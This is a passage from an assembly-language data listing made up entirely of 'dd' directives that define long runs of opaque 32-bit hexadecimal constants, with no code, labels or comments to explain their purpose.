3CFA8D0Fh dd 0C0E5AFEFh, 54ADF156h, 0BCB800ECh, 5D15A4F3h, 0BB002BBAh dd 1484B1B5h, 305183AAh, 0BD387F65h, 0A800D3AFh, 54563115h dd 0D6CE33h, 27D79BDDh, 24AB1485h, 2F5D1206h, 5215C2Eh dd 8F8381A8h, 0C0203C1Bh, 31043646h, 2D204Eh, 22058EB5h dd 88B0D843h, 0A41DAA6Bh, 0BF001680h, 144735A8h, 46901F12h dd 6E984CB3h, 21C01908h, 87147F56h, 682601CEh, 72DE12E4h dd 1736C82Bh, 0C3970500h, 3D8EADE6h, 685D60B2h, 2E0AAB27h dd 15AA1A1Ch, 0DE297581h, 90418E47h, 0C010CB55h, 69C63024h dd 1D08B6EDh, 80B41915h, 26E61ED1h, 0E104911Fh, 658F47CFh dd 0B0D8E7C6h, 0D4203173h, 4653BB30h, 66148C0h, 0B78ACC90h dd 7A8B8E0h, 0D43C4313h, 0D47A03h, 2056355Eh, 0D606D393h dd 0E77C1802h, 48BF00A9h, 218DEF57h, 0D6198E84h, 56085429h dd 5F662180h, 779FABEFh, 0B3190FE6h, 0FAC8EA94h, 0A7629810h dd 48FE88DCh, 0BC196887h, 4080A111h, 7E901114h, 5321448Ch dd 88147803h, 0FF86E16Fh, 0A4772940h, 708DFD13h, 0E58AF26h dd 0C01D88E8h, 4C5DC40Bh, 0B7586460h, 0FCBB75CCh, 8CE9D0D2h dd 5A124323h, 7C217E05h, 80388C67h, 0B6EF6267h, 0AC54985Fh dd 2E1431E4h, 40D82CF0h, 4900F188h, 3F1EC2C9h, 0A1D21637h dd 0E157690h, 3A90D518h, 19BCC8BAh, 0A6F9A4F6h, 309117F1h dd 0E7037C4Eh, 35F04C69h, 50383ED1h, 8CED1B15h, 8B8A0778h dd 40315EEBh, 93291144h, 218608CCh, 0EBA4036Fh, 66043926h dd 0FA1B25F0h, 0E1D21E1Bh, 929AC089h, 43F80FB7h, 0FD80D083h dd 976B374Ah, 3180EC26h, 80FABE0Fh, 2D401A5Ah, 0A91801AFh dd 79BB2395h, 587421D3h, 0E564AF38h, 8C601AA8h, 31235BEBh dd 8011A3h, 2AEBA168h, 6E436Ch, 2971AD67h, 0E00477E1h dd 3D975705h, 0B404267Ch, 8881D825h, 22011883h, 6F040DBh dd 0D105A83Bh, 0D267945Fh, 0BE23983Eh, 754A5800h, 142747F0h dd 0E01221C0h, 912C8Eh, 0AC802972h, 485A6D75h, 0BE105820h dd 313857A9h, 925FA92Dh, 0C0671C22h, 280F48AFh, 5EE74180h dd 219D5294h, 0CAEA434Ch, 697C755Dh, 2D0AE81Fh, 0A85981F3h dd 0C0D4D268h, 0D6119F11h, 63063A41h, 6B52AE31h, 21CB6008h dd 0F5D61992h, 481DF800h, 0DD6CE8F7h, 0EFC0023Fh, 0A98BD1CDh dd 60652C84h, 2342D610h, 0CE116B3Ah, 0D6187F00h, 64375FE4h dd 0C000DEEh, 41CA01F4h, 90D24DC4h, 0BFE40010h, 752418A9h dd 0D3BB2F2h, 2D8F003Eh, 3D36A4F8h, 0AC504CFAh, 629FF000h dd 0DAC2E37h, 3211F8A1h, 90052240h, 8047EAC4h, 0ED50773Fh dd 0A8AA60B4h, 53447847h dd 1C23DB60h, 18BED700h, 0EC3C07FFh, 0A8B34CE4h, 0D6229500h dd 0E52D093Bh, 0F5C2F9C1h, 10418004h, 0F0201BD8h, 3AECA837h dd 0D54474F4h, 0DF100820h, 42867413h, 0A5447CB6h, 45A31423h dd 2A269CD1h, 206D180Ch, 70A1183Bh, 85D187Ah, 542197EFh dd 684057C4h, 266CEF65h, 3C44A103h, 38B54CCCh, 70583799h dd 0AFBC2206h, 4CF76834h, 58C7FA4h, 218CEF5Eh, 6B34285Ch dd 8BEF6600h, 0D9678A9Eh, 3419C05Eh, 0DA10455Dh, 637BE800h dd 0B7AE246Ah, 36803D9Dh, 0F6294EB0h, 3E14316Eh, 74FC1BF0h dd 75A819C0h, 2607EE1h, 8F7AEE3h, 1500B0EFh, 15E792EBh dd 0CC377546h, 8DD80E7Ch, 928FC4h, 974D02D2h, 0CE172E35h dd 2800D12Ah, 81C6918Bh, 0B4E22414h, 0D42303FBh, 0C0EC3725h dd 12FB2EC8h, 99138000h, 2FCD98D7h, 50AB0018h, 0C3DC055Dh dd 40C1C1F5h, 41653E35h, 0CA435880h, 6A4DA2Fh, 9BC80E50h dd 0E4E8F128h, 0E0BCA624h, 82B62E08h, 7645F43Eh, 358EC481h dd 6841DE16h, 5FB84837h, 82188F4Ch, 68E83EB7h, 0B8EFAF80h dd 9B82080h, 32406862h, 580E442h, 817F4BC0h, 0C8B4C116h dd 0B184111Fh, 200CE870h, 5E00F688h, 376618CAh, 6016F7FFh dd 2D9070AEh, 50C052A6h, 1163CC3Eh, 0FAA400F5h, 96108CFFh dd 4A68BEE5h, 210FF020h, 20F0EA7Ah, 8C0D0670h, 0D9B8ED30h dd 3BDB8Dh, 3099842Eh, 384E6D25h, 0B71D580Eh, 11DC00F4h dd 50CDA322h, 147A499h, 0EA8EF141h, 645FD43Ah, 0D22A78A0h dd 7D00ACC7h, 7ACD2FD5h, 0A931B51h, 8794CC3Bh, 86013B4h dd 2980A5BCh, 4570A2EAh, 2A12EC5Bh, 42BC72B7h, 4E370491h dd 0F2002C4Ch, 4846E3A1h, 16D09800h, 7889C4CCh, 0D2CD3A29h dd 0BB94AF3Eh, 213B3047h, 0B8CF7199h, 0C5283142h, 0DA980080h dd 9C8200BFh, 94AB5F48h, 28C69BD9h, 1EC9E2D1h, 80C56731h dd 2FF69E27h, 2A7EC9FEh, 0E6015876h, 97084F19h, 5CF468DAh dd 21720666h, 48D8C1C3h, 3F76E27Eh, 282AC48h, 75489208h dd 0C8AC6056h, 17218028h, 951D34B0h, 8000315Ah, 63C34385h dd 2EB7E0Ah, 0A856D728h, 0CC404E74h, 2B8012B4h, 54A95CEEh dd 0F0AB9500h, 9A0510AEh, 0A8ADCDA0h, 85FFAC00h, 60A18E2Fh dd 328D1FAAh, 80139CCDh, 0D5F802DEh, 4A00C7B8h, 0E97B05A7h dd 7E18C582h, 0BD850C2Ah, 0B94097C4h, 0AD6EFF06h, 0E2423151h dd 30913810h, 576A7580h, 0A6F0655h, 7AEA33F2h, 0D59CBE00h dd 84183937h, 0DA4C07B0h, 3FBEB61h, 50002E04h, 8243C685h dd 610D2DFh, 3A2F75F3h, 0A5007105h, 4A49A606h, 0CEB13C3Eh dd 1BEF8610h, 0FFD39900h, 380029A1h, 1C2F8119h, 3950630h dd 7FC880B2h, 40D786ADh, 9C9E105Dh, 30F60730h, 631EB1C0h dd 9D1D58A4h, 0F24286D0h, 92D4C11Ch, 5AE3A583h, 77FA3D1h dd 0F26F8721h, 422F2063h, 6701B339h, 78593B5Fh, 50911849h dd 0F24480A2h, 4342D4C3h, 37B22D1h, 20F26989h, 62F864E2h dd 4C00B64Bh, 0B3F9676Dh, 3D304A09h, 0EF40DF31h, 1518637Eh dd 811066ABh, 0A8D900BBh, 0B13A87CEh, 8CC8A26h, 0E12159h dd 0F9EDD993h, 5758C0E7h, 782DCD30h, 0C7CA1666h, 80141D08h dd 12E87C9Eh, 0EC489300h, 2BA7C933h, 1F2703BCh, 68CA509Dh dd 0DB7F3900h, 8C1BBBFFh, 3740C0A7h, 0B116C0A0h, 0C3BD51C0h dd 638400Ah, 201967F4h, 0B96008E4h, 0A9B7321h, 0D80E000Dh dd 6A35697h, 7D15A920h, 78C7A49h, 38CFD3B7h, 87BBA265h dd 0F921F0D0h, 0BF097322h, 8052A71Dh, 6A83089Bh, 44500045h dd 53AC124Ah, 7D50D904h, 5618D1A0h, 9379B2BBh, 6E3E3ACCh dd 0F1DC1C03h, 0A381B550h, 3040806Ch, 0E7678DA0h, 0A4BCEA2Ah dd 0AFF0468h, 62943844h, 975F20E5h, 0ED018F0Ah, 0A024CD4Ch dd 11D823DAh, 87D138A9h, 50A4AD28h, 8C6EE0A5h, 87D9C404h dd 0E6388FCEh, 0E3D9BC02h, 58496C6Bh, 375229BCh, 18E35950h dd 34890A92h, 74D836D1h, 20C18E7h, 78BEC04Eh, 0A7E00D20h dd 77FEC17Bh, 0ADC68003h, 0A05D75B1h, 0EBB8763h, 62312D66h dd 235C3EF2h, 0D3410E55h, 0D0408F14h, 84C6009Eh, 248B7088h dd 0C8C83B0Bh, 0AFCC0B9h, 4EE93841h, 94720084h, 398D4D0Ah dd 0F7130024h, 879EDF35h, 9A12566Eh, 144EA014h, 0C207C026h dd 0C8E38CCCh, 0A1CFB768h, 0EC38470Ah, 7488E618h, 5EB8A09Ah dd 60E7C0Bh, 5B28B3F5h, 9C01C8E5h, 8799A9DFh, 0C2081C0h dd 0D39D0620h, 88CC7271h, 700B4045h, 27C0BA88h, 9F80D3h dd 0CBE02B1Eh, 8FB04CB7h, 0C4B3FA28h, 0C6246846h, 0DFCE0A96h dd 0BEE870C4h, 98E1D900h, 354DDCCCh, 7E240931h, 0D4214939h dd 36A61EB4h, 0F2400278h, 6762D4C7h, 458D09A0h, 147CB080h dd 0E77774C0h, 0DC9F7D02h, 61469DEBh, 4B188FA0h, 0D4FEF208h dd 407EC46Ah, 0B6F26C8Ch, 71220078h, 67CF9C1Ch, 1F242AA5h dd 4674B880h, 9645015Bh, 93DCB743h, 12B31BE8h, 8FD8D2h dd 44A55014h, 0E304FC2Bh, 1AD32A82h, 0F071F480h, 496D0FDFh dd 0B25B64Eh, 8BACC099h, 0D20CC68Fh, 40837120h, 0D64C18B2h dd 16AC58A3h, 0A9179900h, 604ABA59h, 0B4AF12D2h, 0C1489h dd 38CB9E8h, 537CAF18h, 3EF823D2h, 6B134908h, 0E0402C2Bh dd 74540717h, 0A9EE27h, 489B3B31h, 0AD67AEF4h, 3C2DBE03h dd 261ACF57h, 0EAC6F31h, 0E8040C4h, 0F554D8CBh, 1F8EC90h dd 802DFB28h, 895DAE30h, 4C99DC4Eh, 0FF01C058h, 0C134B1C3h dd 0CE108482h, 0B8D00FD8h, 0AA4A7Eh, 9BE20EE3h, 0A9184B03h dd 0A9D80h, 0E6B4A28Ch, 79FA16CCh, 8C386D38h, 7055D329h dd 0D8DE01E3h, 7D19FF30h, 8EDBC1CCh, 2015A059h, 91805FE7h dd 0A39F14D4h, 4E0BA885h, 6C04D1AAh, 722000B5h, 371AF24h dd 6FCA63A9h, 183F2A55h, 0B2E4456Ah, 6B0A89Fh, 2D91067Fh dd 0A8650734h, 1730CE70h, 40B678C0h, 0BEE100B5h, 805D98ADh dd 0DC1E742Ah, 18F03BE9h, 0F5CEDCDh, 0B31A879Fh, 31CF3C84h dd 8308592Bh, 9D6B2186h, 42E45708h, 0AB11BF0Bh, 371E3510h dd 10837040h, 73B63AB2h, 0D019C01Dh, 604DE1C1h, 35D46FBAh dd 2181ED73h, 3A18105Eh, 0DE50911Ah, 0A6253706h, 0AE0139CFh dd 3496E6E2h, 0BE0AD8Eh, 86E500A9h, 9B5C9C31h, 0B7603AA0h dd 9DB34E51h, 8AC5134h, 0B435C1D7h, 0BB956610h, 3FB1DC0Ah dd 0B9069C44h, 0F9E093h, 0F40EFB63h, 0BA66B319h, 0E20180DFh dd 0B4953F1Ah, 1572BE8h, 0BFC0F27Bh, 0C983B513h, 6D2980B9h dd 331C2690h, 1F7B7B09h, 0D885F950h, 0EF0721C9h, 334D2600h dd 1CEACF72h, 576038BFh, 82C8A59Dh, 0DA9B6368h, 1A00CA4h dd 0F216387Ah, 41064101h, 405BB2A8h, 0AC644D3Ch, 7D3B3400h dd 38A503BAh, 300E6CDEh, 3774B6D9h, 0E57DE018h, 68111h dd 12608C79h, 0FA68BA5Ch, 21A908CCh, 793300A8h, 0E8C82D30h dd 8F3DE2F4h, 0A790E0CEh, 0C1B1F6Dh, 0F04228E1h, 620A8068h dd 8CC8A66Ah, 7B6FE283h, 361000A7h, 48CABD75h, 98009BAEh dd 6D847610h, 62548Ah, 16CD1D52h, 2C4BFFB7h, 0F5042B00h dd 29FA846Bh, 0BD5900CBh, 17F7AAEAh, 900FF203h, 0A023EC3Dh dd 1B6FDDABh, 0FA7C1D99h, 105F00BEh, 0A8302F52h, 0B811C400h dd 3E47ECDAh, 40EE09h, 91EB694Fh, 2D5C94ABh, 2866991Dh dd 0E732D0C0h, 255EC8h, 944D714Bh, 0ED9DD74Ah, 63773001h dd 85FF7DF8h, 0AB64C0h, 4BD4605Fh, 0D1C8C949h, 1E7ACC00h dd 71BFFBD9h, 22380025h dd 7C5B633h, 2E0A9398h, 4946C34h, 93A5607Fh, 68A08B40h dd 0FE405197h, 8E030056h, 260F058Ah, 32006129h, 0CDD0EB4h dd 3D2974Dh, 5691482Ah, 28C6AC59h, 207A3242h, 464209C8h dd 2962B648h, 0B222DFEh, 214A24CAh, 7994962Eh, 0D911140Ah dd 0C5E21F7h, 0F6517974h, 664988h, 68852F0h, 44A46284h dd 0ED87700h, 259430CCh, 51F338C1h, 7FDAD01Dh, 0D9844DBEh dd 0EF598F85h, 31187CC0h, 3D220333h, 0E9B44C67h, 6C8D11D0h dd 0A1EA327Eh, 8AC74Ch, 0FA586D4Ah, 0EE2468Eh, 0A2EFE06Ah dd 0D96D501h, 67AFCC68h, 0CD1C5700h, 0CF018CA4h, 2BEC06h dd 0A511FD0Fh, 3EFA027Ch, 4AAE94Ch, 58F73F66h, 1280E284h dd 2369E6h, 9D096BA9h, 83708F4Dh, 0F8F42A00h, 7B5352B0h dd 452D0F0Ch, 9CA5A42h, 1D4D00E0h, 509B94A2h, 4C93A100h dd 5CC28BDAh, 0CCE0F954h, 0A9130070h, 0BB5E12F4h, 68609A1Dh dd 50921C19h, 86880045h, 6340433Ch, 3402E9A3h, 826F7C7Eh dd 641C48F8h, 0C5F000D6h, 48FBC098h, 6C003D40h, 0C85EF2FCh dd 0DDA29Ch, 87E07A2Dh, 67FD9A96h, 2637F103h, 0B02061E8h dd 2B32414h, 9B8E5518h, 0A8806D08h, 0B5532216h, 0D6A01C00h dd 0EBBA81F4h, 0B26FC88h, 74803FFBh, 7FEFE00h, 4F0054B4h dd 0B0E5F14Ch, 1C66DCD9h, 8AABC201h, 0A08815h, 22440539h dd 0FA4879DFh, 0A4B40369h, 0F0C84FF7h, 23A828h, 7C9537F6h dd 9FAC0427h, 8D7B7A00h, 0B7359254h, 23B5008Ch, 0B0F2A012h dd 0C105A56Eh, 2CCC372Bh, 454AB803h, 0BA8ED0FFh, 0B3F003EDh dd 9358675h, 4E814290h, 0B6FFF609h, 0C180F598h, 9745F19Fh dd 0F7B30D00h, 0B7734BBFh, 33740011h, 51576B7Ch, 0CFC5AD2h dd 78FC2900h, 0A3FB9E2h, 9C450063h, 0C173EAA8h, 8F14BA52h dd 9CC7E5h, 8A2F18C9h, 0F9107h, 780AA4ECh, 0A5A2FBF2h dd 506B7F00h, 1A2AD428h, 0EE9F00B9h, 7BEA31E5h, 0B27D6EF7h dd 7FB57800h, 2870C979h, 6A4A0185h, 0E1711EFBh, 128BBC1h dd 4B77C502h, 25C89E27h, 1A5F0208h, 7B0C41D6h, 0DC372068h dd 2C759D00h, 10A01851h, 0C8A93AE3h, 3C39F080h, 5AD182BAh dd 0C851302h, 0C0C47D8Bh, 28913A2Fh, 0E4DEDBh, 5954FF72h dd 6B64D7Eh, 7B007578h, 0D54976A4h, 3767D7h, 0F7DE5A52h dd 42B554A2h, 0FBBCD200h, 0D92A969Eh, 0F41C0782h, 0E1CCB8ECh dd 40293A27h, 5F9AF894h, 0B20B2300h, 890163E4h, 0F270FEh dd 0C0A8FA94h, 1EE32DF3h, 0BFF2F870h, 0C95028E0h, 0C800B7D0h dd 97D55B24h, 1E1AB2E2h, 268E96h, 9A508C88h, 85070EB8h dd 5829ECD0h, 7D348BE0h, 712D0E42h, 529E23h, 0DD6F1A20h dd 0AA80312Ch, 0A1220026h, 0D09054EDh, 0A6001A93h, 62D66D16h dd 97AD61h, 0A2B7961Fh, 903F30E5h, 2E77A509h, 6D27014Ch dd 0A820170Ch, 44D904D1h, 80CFB2B7h, 9CE3EC20h, 1C7740h dd 6D7E5D83h, 0E54ADD56h, 0C208B405h, 0D8002906h, 26532A23h dd 3E8BE4A2h, 4B8EC731h, 83004186h, 0CEE06C65h, 0F800A4F2h dd 52D7AF5Dh, 3FB7B930h, 0D5007747h, 4EE54D70h, 250A3BDCh dd 0B0BC93F2h, 38184001h, 69FCF657h, 0DF1900B5h, 89248E67h dd 19C026FFh, 94BC6287h, 4274C0B9h, 0B7704D5Bh, 6A669001h dd 5351EA7h, 0FC25C64h, 2D2CD731h, 8895F404h, 1E403078h dd 0A0DCFE6Dh, 0F2EB7D2h, 887CA381h, 37C186A0h, 8509D66Fh dd 0A697AFh, 8F621A16h, 9166018Dh, 0B9100DEEh, 0FAC0DC63h dd 9A353A00h, 0A0E5B26Dh, 0B745002Ah, 0B46C8C06h, 8400FE41h dd 9BABA2BDh, 0FF1D91h, 0B9676E9Fh, 7EC5AF6Dh, 8D7D2B19h dd 0B9FF9420h, 17EC8BE4h, 0C83501B9h, 0DA231482h, 0DB2701Bh dd 0E8CD661Eh, 197BAF40h, 3C2B6FD4h, 8C80D541h, 4EEE1C6Eh dd 21001504h, 0A1D6994Fh, 7AF5C5h, 26543DBCh, 27BFAF03h dd 0A41DC701h, 0D666B20Fh, 95F4BC31h, 3F617697h, 794549h dd 943D78F0h, 0A5F3E8B7h, 1411200h, 0F5183C43h, 0A131399Dh dd 27A3D800h, 706C26B1h, 5C00C0F6h, 0ED1ED207h, 0F2E8058Fh dd 82AD38C6h, 0FCDC3880h, 8D2C48F9h, 7474A3Ch, 0D728D909h dd 21B46310h, 0E101000Ch, 0ECC03876h, 962EA3BBh, 0FC3B247Eh dd 0BFEA8C1Dh, 0C479D507h, 3AB36A31h, 3E083860h, 507B07A1h dd 7FC912h, 445A7349h, 116E78Dh, 0D407EC1Fh, 56EE7140h dd 0F2DD6E2h, 0C04FA114h, 0FF8F6480h, 0E9F22895h, 7D5EB200h dd 16992F3h, 0DD20153h, 373CF9D3h, 0D802FD93h, 0F624868Dh dd 3003830h, 953EB79Ch, 7BAE00AFh, 0BDEF7858h, 77004319h dd 68F7D5FEh, 7C076139h, 0D9FB2CCDh, 0A0B50064h, 5775503Fh dd 397E7F00h, 0A2E9D11Ch, 0CAA800B7h, 1F275470h, 0AA26B2CCh dd 91F9944h, 66069F3Bh, 0E8D24740h, 4BB3E9h, 4EADBBFDh dd 29BFE61Eh, 0C5ECA412h, 6BE2B000h, 3F07A52Dh, 0C9079683h dd 0E08C7655h, 0BE4E203Ah, 0E2D6C400h, 4C9D2B3Dh, 89900013h dd 0E551D575h, 0C10149ADh, 5D5955B4h, 89313CD2h, 7564B6DCh dd 7DFB00E8h, 0E95C51DEh, 4700D3C2h, 0EED10D94h, 0B08DE598h dd 1C7A001Ch, 663611F0h, 33F03956h, 3500437Bh, 47D2B427h dd 1487CED3h, 0E8547B4Ah, 0EFC93000h, 192AE91Dh, 0F9AA2724h dd 0A8699D00h, 295EB0h, 4F1CEFC4h, 0EA4C96ACh, 0CD5DE00h dd 0CCC837A9h, 8721869h, 6F41488Dh, 28550614h, 1FF904E8h dd 380010DAh, 0C0ABEE03h, 65AA2200h, 0CC14BBE5h, 0FF6F00FCh dd 2F0F2EF6h, 573C5095h, 4388B0Bh, 3A648345h, 0EF33C0CCh dd 0BDAF681h, 0F1A12D7Eh, 7F75C01h, 3A44C89Ch, 351C8DB8h dd 0FD408BD4h, 64467D4Bh, 0A00E1F0Ah, 80F4C302h, 0C1F1C88Fh dd 3DF3D87Ah, 0BF4C8C04h, 60C03751h, 1FF98ED1h, 0A0F0DDAh dd 4A06CC6h, 85A39660h, 75282018h, 151DE108h, 0D180B52Ch dd 8767F84Dh, 2737008Dh, 0B78AD649h, 0AC00D4F9h, 2511D0BEh dd 0EA1893E6h, 55620082h, 0D612A268h, 717A8508h, 84BFC605h dd 8840C74Eh, 3EB04F76h, 6B8D0026h, 5EEAB6E9h, 0DB0B08BCh dd 27FFA87h, 64948AF0h, 0C0D300B8h, 0B790A2D8h, 78BAE04Dh dd 0F324DB02h, 0E0157FBDh, 4910DFh, 0BE775823h, 0F944EF5Fh dd 0F7597D00h, 0D6C6F646h, 829E00F3h, 7B3D8DC2h, 6900A66Bh dd 0DC5C837Fh, 0A920B0h, 0ACF1FC03h, 0C8C6AF14h, 0FA665B04h dd 64B0B7F2h, 6A6500E5h, 0CA712B86h, 34E4AA79h, 17ABA80Fh dd 8041C058h, 0C35D156h, 0AE269FE0h, 0B20A5918h, 809CE222h dd 7A8F1Eh, 7FCB81EEh, 0E1EA34h, 0F77C9095h, 982A0C10h dd 0C9008E7Bh, 12697B4Eh, 7F7AB030h, 0B542009Ah, 5AA3904Ch dd 0A100B743h, 5FEEC4D7h, 0F59CDB80h, 69E3A982h, 64C10A3Ch dd 84D4284Ch, 3483AA08h, 36C1CF72h, 0C4708907h, 165A0EA7h dd 0EE00CA9Ah, 0AF7F232Dh, 17794B00h, 0E8A389BDh, 5F1B009Bh dd 0C1209734h, 7F0086C5h, 0C441EB02h, 0B17CC13h, 51DB6B83h dd 0F391CE80h, 0D5006E12h, 6747C95Dh, 268F1Fh, 9E63659Bh dd 0C21A946Dh, 48208000h, 99F0F87h, 692F0FEAh, 0B6249ABh dd 2F423AECh, 0D536140h, 4191E41Dh, 1410AAC3h, 555A00B1h dd 0B9C5496Bh, 57054847h, 6D8908Dh, 0B00018C7h, 645598h dd 0FCC2B6E1h, 0A758EBBh, 67ECF4B8h, 0F98A5A13h, 4B80D440h dd 19DD016Dh, 11281EF3h, 0C8A08C6Ah, 1B11C5h, 5B6BB4FBh dd 16035665h, 66C19C0h, 0C0D47BFEh, 36917D11h, 0E0042F2h dd 0C4ABF96Fh, 124CE554h dd 8896EBh, 0DFEE1070h, 0AD000F5Ah, 2CE9DE60h, 76B9A0B4h dd 0F393003Bh, 54530CE8h, 7E00FBE2h, 0E6D06458h, 0F1AB7Ch dd 0EEA54E2Eh, 0D9051E57h, 0EBB6C7A0h, 0B90AB400h, 2DE89836h dd 19263C9Ah, 8418BC80h, 6C4CDCCEh, 2A92B00h, 8F0828B3h dd 59B801EBh, 3F29EDCCh, 0E2C02080h, 74B07872h, 5CFD7524h dd 0B47DB800h, 38BF5683h, 9300A2A1h, 4A9BCF7Eh, 40750A6Dh dd 0C3419D00h, 0C4355498h, 605C0058h, 29CFD213h, 77007DC9h dd 0C69AB439h, 39367310h, 75001CF8h, 0F91DA39Bh, 0EA00F355h dd 0AF3CA551h, 7C2E2Ah, 0DEF4C263h, 0FD3A821Ah, 805C023Eh dd 0C77330CCh, 115BF0h, 71FAFFAAh, 0CE09613h, 0C9572600h dd 6D09E331h, 5E7400D1h, 0FB25A22Ah, 0B5007012h, 19B4295Ch dd 1E4F39h, 4DF2DF17h, 0F81BFF72h, 87A43858h, 0B980BECDh dd 427AFDDh, 22A81875h, 61EC80DEh, 4218CC35h, 1210DB99h dd 90C20051h, 7DBF92C5h, 18C0B9B6h, 0EF1A4B93h, 4AB10035h dd 0EC7F22EDh, 0FE00A7E3h, 5E84032h, 0FA38D5Fh, 63440C3Ch dd 459E536Eh, 0F64A281h, 0E520E7B0h, 0D36A887Ch, 24521C00h dd 3F36DAABh, 20580137h, 64D87B6Dh, 1392D4B0h, 55F2F100h dd 1DADC216h, 23C530F5h, 0A6DB4CE0h, 928BD80Ch, 0E075A020h dd 415B3B91h, 4AFD10E0h, 0C93B96FFh, 45380E2Ch, 0B804AF88h dd 1CD11521h, 0C0EF7690h, 7C5A970Ch, 24023665h, 0E9E635F2h dd 17436007h, 489A93h, 0F0015305h, 83BBB1DAh, 0EF1E4E77h dd 0D054CF8h, 7880D873h, 109D32h, 36430FE6h, 6137A2B9h dd 6993B202h, 601805C4h, 3EDAB88Dh, 64F4341h, 0FC1D9C44h dd 5000A898h, 2B5EE88Fh, 1F89AB03h, 0C2915334h, 953798B4h dd 14096440h, 93E1010Ch, 16944007h, 40833816h, 9F78F43Ch dd 0F53E3AC0h, 1DD68639h, 0ECF8FD98h, 5DCD0289h, 784815B7h dd 35A06260h, 2E933D00h, 9DAA5188h, 3449481Fh, 9904A200h dd 2D3F5A2Fh, 0A1F77B03h, 80D856D6h, 449CCEFh, 9F800D3Dh dd 0F8AA8084h, 40A93CAh, 9CF0F3A1h, 0C09EE090h, 0B5CC478Bh dd 0D1C87333h, 5B2C42C3h, 0ECFF14D0h, 4900F7B2h, 9B3F66D1h dd 9EE62B1Ch, 3E1807BCh, 685CF00Ah, 0F2617EA7h, 1D942398h dd 1CDEC4h, 0F860D51h, 4AB0F504h, 6F7CB406h, 2890A3D5h dd 0F90FD34h, 0A5BB2190h, 0C0D4C7A0h, 74F63373h, 9B05AD00h dd 2D06F1A8h, 2BC00E6h, 6179A30Dh, 0FC0C3FB0h, 0B8BDA9D1h dd 276000D8h, 87F273ACh, 228E6BEh, 0B600B495h, 239332B3h dd 494719Fh, 56F7285Eh, 0B7958162h, 577FC853h, 1508600h dd 5140CDF6h, 7220033h, 0D903C84Ah, 46002F8Dh, 60088F35h dd 8CDD5Dh, 28275F48h, 6E717F9Dh, 12C2D400h, 0B398FD35h dd 1EE4F05Ah, 0A84DEA36h, 0B29B00C0h, 978F76AFh, 5338C7C6h dd 10F10060h, 0CD366FEBh, 718000E0h, 2105CF4Bh, 6E00B452h dd 92720EAAh, 2FCD57h, 0F291E6D7h, 23AFD19h, 67AF58h, 0D28B083Ch dd 2A481DDh, 0B6EF9E8Dh, 28520EC6h, 0F1FAE804h, 6C876875h dd 0A033CC72h, 0A6180DF8h, 0B9D35C48h, 8AC2120Fh, 3BE4B0C0h dd 9505F813h, 5A01638Fh, 2C3DEF00h, 711C931h, 0E56A153Fh dd 63109CFEh, 0CC00BAF2h, 4C1A8790h, 3BAFEEC2h, 0ED00C062h dd 0C6365A2Ah, 0C73BFB61h, 477E05C5h, 18C077F8h, 9B6BC3h dd 0E293AEFCh, 954A13CBh, 0C40D4C00h, 22C5A499h, 42EE9Eh dd 0DFBBD19Dh, 0D2CF932Ah, 8E00EE75h, 90E6E4BAh, 0CABCE69h dd 0E59A49E1h, 7B00DF10h, 0EE613EBFh, 111CA2Eh, 0AB1EEF04h dd 4031AAB6h, 0F72575CCh, 906DAE0Eh, 9DDC2083h, 24A9955Eh dd 80844061h, 0BE02CDB1h, 9900FF9Fh, 0D2499B1Ch, 0EF856Eh dd 0ED630133h, 6C580FC0h, 7FBD7000h, 0AFF71E7Bh, 91CA0190h dd 13F57CE2h, 0A0C04376h, 0C14B14A8h, 31D9AB07h, 48B28588h dd 65840E3h, 6D5C01A9h, 240DAD9Dh, 37199D75h, 135A9F40h dd 0F04C18ACh, 7AC3397Fh, 786B8100h, 7222BA9Dh, 9AC24B12h dd 0DACEEC00h, 73EC9759h, 0CA690702h, 20E6F8F5h, 4B5B3334h dd 0C25CDE1Eh, 1FF070C0h, 3A020h, 0EB80C821h, 37D53828h dd 8039B494h, 85EF253h, 80BBDBh, 961929EEh, 9004F94Ch dd 0F8F64200h, 321F91AEh, 79520CC2h, 47F05AE4h, 0AB38890Ch dd 96AC8C7h, 0FF3C6846h, 66345000h, 0D400B696h, 1EA80503h dd 858F6h, 35FFAF30h, 97106C71h, 0D0DA4C00h, 980248B1h dd 8C4539DEh, 0AD0138CCh, 0EDC1D574h, 0C978302Eh, 848A0344h dd 0DD3BB17Dh, 16BE8F66h, 0E7FAC036h, 4D6BF8ACh, 12015C6Eh dd 0E9892617h, 210BBEBh, 238A0CF9h, 0B524E858h, 82591742h dd 39B20084h, 2294A036h, 6C430226h, 7F6C9904h, 87B80402h dd 8F89E640h, 1F540E01h, 67589D23h, 0C806E040h, 0A63200A0h dd 640D628Eh, 0A1008F15h, 78129E58h, 38F2F89Ah, 843A7D3Dh dd 0C99CD0h, 63C8650Eh, 0C2189B87h, 4BA1A960h, 7B81ECh dd 2F0F8ED6h, 0B854C029h, 0D5F79112h, 0EB626001h, 0CFC835DDh dd 433106CBh, 58C03FD6h, 264CC701h, 0B2507D5Bh, 0A9D0D847h dd 3CCCD527h, 62024084h, 0E6314744h, 0FC565848h, 68357B17h dd 0B629C496h, 0E2B380C4h, 544BEDB4h, 0A309A075h, 8FB88B86h dd 56EC8124h, 22ECF161h, 0E1BC00BEh, 0EF3B70DEh, 15E47879h dd 50DC1800h, 22F48CB0h, 898300D6h, 0C37B3149h, 0D4794130h dd 0F04F5725h, 0DC0B0007h, 7E02B599h, 7524F0FFh, 83050038h dd 0F820371Ah, 0EBDAFBh, 0AC983968h, 74577EF7h, 0E2BDEF04h dd 60E44D90h, 1A3700A1h, 0E0F6CDBFh, 9AECFEFFh, 23D55104h dd 0B8C0803Fh, 46B2A0D4h, 64007ECDh, 263B4B1Fh, 6A65C1h dd 41341249h, 19376E7h, 0A3F32A02h, 0C0E624B6h, 1EE0DEE8h dd 200A94FDh, 6E5B6616h, 10E36D0Ch, 0AF3B00EEh, 9A407D9Eh dd 0AA1F5D65h, 3A42D8A0h, 0E83ED4C3h, 1E205138h, 0A85C28B5h dd 0B6E100E8h, 5A56C42Dh, 3500158Ah, 983EA592h, 3A1E85B2h dd 0B0037428h, 3D821366h, 3809CFABh, 33A18E39h, 1530843Ch dd 1FA75D3h, 33BB7301h, 1A50A46Ah, 42C5F4h, 9C1B35Dh, 0E5B8812Fh dd 0AA11EB00h, 0EDC7A021h, 0A553003Ah, 1DDD59F9h, 5D2E4FFFh dd 1F0028CBh, 0DF5E7ED0h, 742400B0h, 0CFFBBD5Ch, 0D60077FFh dd 0DC534712h, 0C9E44Dh, 5A31F007h, 0B49FCBB8h, 9408431Eh dd 22A60B40h, 0A0E379h, 6028994Eh, 0D10F3A8Ah, 93012F05h dd 